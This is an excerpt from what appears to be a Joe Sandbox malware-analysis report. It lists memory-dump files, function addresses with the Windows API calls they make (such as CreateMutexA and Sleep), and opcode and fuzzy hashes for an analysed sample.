Associated: 00000001.00000002.2280245226.0000000000C6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280270835.0000000000C70000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280297286.0000000000C80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280325386.0000000000C82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280349652.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280349652.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280410907.0000000000CA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280473828.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280505765.0000000000CBD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280525638.0000000000CC0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280588467.0000000000CC6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280607574.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280666323.0000000000CCC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280687562.0000000000CD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280754907.0000000000CED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280774262.0000000000CF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280795697.0000000000CF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280824993.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280846847.0000000000CFF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280915241.0000000000D03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280942148.0000000000D0B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280984962.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281011202.0000000000D0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281043135.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281074451.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281152615.0000000000D1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281182223.0000000000D22000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281211236.0000000000D23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281254253.0000000000D24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281279546.0000000000D2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281348020.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281367812.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281433309.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281497404.0000000000D60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281497404.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281546352.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281566948.0000000000D98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281626477.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281647164.0000000000D9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281707623.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281729210.0000000000DAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281785348.0000000000DAF000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_random.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 86fe26a24b7a960c217e4d3c6810b351ab43863470166711caabaf867b8c3225
Instruction ID: c2839dae863a9003748fff5461b55cd8b1a773a2c946a3a4813fc0769b097693
Opcode Fuzzy Hash: 86fe26a24b7a960c217e4d3c6810b351ab43863470166711caabaf867b8c3225
Instruction Fuzzy Hash: 3C3159317101049BEB1CDB78DD887ADB7F69FAA310F248629E0119B3D6D73A8980C792

Function 00AAA27F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00AAA893
CreateMutexA.KERNEL32(00000000,00000000,00B03224), ref: 00AAA8B1

Memory Dump Source

Source File: 00000001.00000002.2279934664.0000000000AA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.2279908771.0000000000AA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2279934664.0000000000B02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280064722.0000000000B09000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280084396.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280118922.0000000000B17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280245226.0000000000C6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280270835.0000000000C70000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280297286.0000000000C80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280325386.0000000000C82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280349652.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280349652.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280410907.0000000000CA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280473828.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280505765.0000000000CBD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280525638.0000000000CC0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280588467.0000000000CC6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280607574.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280666323.0000000000CCC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280687562.0000000000CD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280754907.0000000000CED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280774262.0000000000CF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280795697.0000000000CF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280824993.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280846847.0000000000CFF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280915241.0000000000D03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280942148.0000000000D0B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280984962.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281011202.0000000000D0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281043135.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281074451.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281152615.0000000000D1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281182223.0000000000D22000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281211236.0000000000D23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281254253.0000000000D24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281279546.0000000000D2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281348020.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281367812.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281433309.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281497404.0000000000D60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281497404.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281546352.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281566948.0000000000D98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281626477.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281647164.0000000000D9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281707623.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281729210.0000000000DAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281785348.0000000000DAF000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_random.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 2d00c2c5b091ff888c940d8450bf2fd0e1e6d82605756d01a0bed38c5933acb3
Instruction ID: 00cdf074fb22b909b6ad1c3a84290f93e2430d126f5aba6701296f5448018964
Opcode Fuzzy Hash: 2d00c2c5b091ff888c940d8450bf2fd0e1e6d82605756d01a0bed38c5933acb3
Instruction Fuzzy Hash: CF2179317102049BEB1C9B68DD8876CF6E6EFEA310F200229E5059B3D5DB7A9980C392

Function 00AAA786 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00AAA893
CreateMutexA.KERNEL32(00000000,00000000,00B03224), ref: 00AAA8B1

Memory Dump Source

Source File: 00000001.00000002.2279934664.0000000000AA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.2279908771.0000000000AA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2279934664.0000000000B02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280064722.0000000000B09000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280084396.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280118922.0000000000B17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280245226.0000000000C6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280270835.0000000000C70000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280297286.0000000000C80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280325386.0000000000C82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280349652.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280349652.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280410907.0000000000CA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280473828.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280505765.0000000000CBD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280525638.0000000000CC0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280588467.0000000000CC6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280607574.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280666323.0000000000CCC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280687562.0000000000CD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280754907.0000000000CED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280774262.0000000000CF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280795697.0000000000CF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280824993.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280846847.0000000000CFF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280915241.0000000000D03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280942148.0000000000D0B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280984962.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281011202.0000000000D0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281043135.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281074451.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281152615.0000000000D1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281182223.0000000000D22000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281211236.0000000000D23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281254253.0000000000D24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281279546.0000000000D2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281348020.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281367812.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281433309.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281497404.0000000000D60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281497404.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281546352.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281566948.0000000000D98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281626477.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281647164.0000000000D9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281707623.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281729210.0000000000DAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281785348.0000000000DAF000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_random.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: f1491452cd07b57c6ce6ae76c59a7af066927a76d9c6aeb85c9b0f46dd3dba7a
Instruction ID: b5f16e2848518218ee1a9480e4dba3b688866528e84c42664487c3c40a6d3ae0
Opcode Fuzzy Hash: f1491452cd07b57c6ce6ae76c59a7af066927a76d9c6aeb85c9b0f46dd3dba7a
Instruction Fuzzy Hash: 6A213D3135810466EB286768D98A73D72E59FABB00F204926E102D73C2CB7D4881C5E3

Function 00AA7D00 Relevance: 1.9, APIs: 1, Instructions: 392
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00AA7EA3

Memory Dump Source

Source File: 00000001.00000002.2279934664.0000000000AA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.2279908771.0000000000AA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2279934664.0000000000B02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280064722.0000000000B09000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280084396.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280118922.0000000000B17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280245226.0000000000C6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280270835.0000000000C70000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280297286.0000000000C80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280325386.0000000000C82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280349652.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280349652.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280410907.0000000000CA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280473828.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280505765.0000000000CBD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280525638.0000000000CC0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280588467.0000000000CC6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280607574.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280666323.0000000000CCC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280687562.0000000000CD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280754907.0000000000CED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280774262.0000000000CF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280795697.0000000000CF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280824993.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280846847.0000000000CFF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280915241.0000000000D03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280942148.0000000000D0B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280984962.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281011202.0000000000D0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281043135.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281074451.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281152615.0000000000D1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281182223.0000000000D22000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281211236.0000000000D23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281254253.0000000000D24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281279546.0000000000D2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281348020.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281367812.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281433309.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281497404.0000000000D60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281497404.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281546352.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281566948.0000000000D98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281626477.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281647164.0000000000D9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281707623.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281729210.0000000000DAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281785348.0000000000DAF000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_random.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 4e4c9f139a8ce62cda2dc0ba1c58c1d83d38bc2cd15a1c4bbc1b3e1423ba17ac
Instruction ID: 913e9125819a20c5c232ea11411e8b36717cfb3d574d34304db949a5190dfb7b
Opcode Fuzzy Hash: 4e4c9f139a8ce62cda2dc0ba1c58c1d83d38bc2cd15a1c4bbc1b3e1423ba17ac
Instruction Fuzzy Hash: 56D1E670E006049BDF24BB68CD4B7AD7B75AB43320F544298E4156B3D2EF794E848BD2

Function 00AA86E2 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,00AAD92D,?,?,?,?), ref: 00AA86E9

Memory Dump Source

Source File: 00000001.00000002.2279934664.0000000000AA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.2279908771.0000000000AA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2279934664.0000000000B02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280064722.0000000000B09000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280084396.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280118922.0000000000B17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280245226.0000000000C6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280270835.0000000000C70000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280297286.0000000000C80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280325386.0000000000C82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280349652.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280349652.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280410907.0000000000CA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280473828.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280505765.0000000000CBD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280525638.0000000000CC0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280588467.0000000000CC6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280607574.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280666323.0000000000CCC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280687562.0000000000CD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280754907.0000000000CED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280774262.0000000000CF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280795697.0000000000CF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280824993.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280846847.0000000000CFF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280915241.0000000000D03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280942148.0000000000D0B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280984962.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281011202.0000000000D0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281043135.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281074451.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281152615.0000000000D1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281182223.0000000000D22000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281211236.0000000000D23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281254253.0000000000D24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281279546.0000000000D2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281348020.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281367812.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281433309.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281497404.0000000000D60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281497404.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281546352.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281566948.0000000000D98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281626477.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281647164.0000000000D9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281707623.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281729210.0000000000DAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281785348.0000000000DAF000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_random.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 4fb00adb0e7ee2dfc96341370a8cad49218c5284cf007720d43d4fd233228cab
Instruction ID: 7ced80fcbc972fb3b58a4e2a000d4ccb611630fc64588ebf59e79c822924e8b1
Opcode Fuzzy Hash: 4fb00adb0e7ee2dfc96341370a8cad49218c5284cf007720d43d4fd233228cab
Instruction Fuzzy Hash: 2FC08C200237000AFE1C0A3C42880A83300495B3A82D81F84D0B05B1E1CB3D9C07D214

Function 00AA86E0 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,00AAD92D,?,?,?,?), ref: 00AA86E9

Memory Dump Source

Source File: 00000001.00000002.2279934664.0000000000AA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.2279908771.0000000000AA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2279934664.0000000000B02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280064722.0000000000B09000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280084396.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280118922.0000000000B17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280245226.0000000000C6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280270835.0000000000C70000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280297286.0000000000C80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280325386.0000000000C82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280349652.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280349652.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
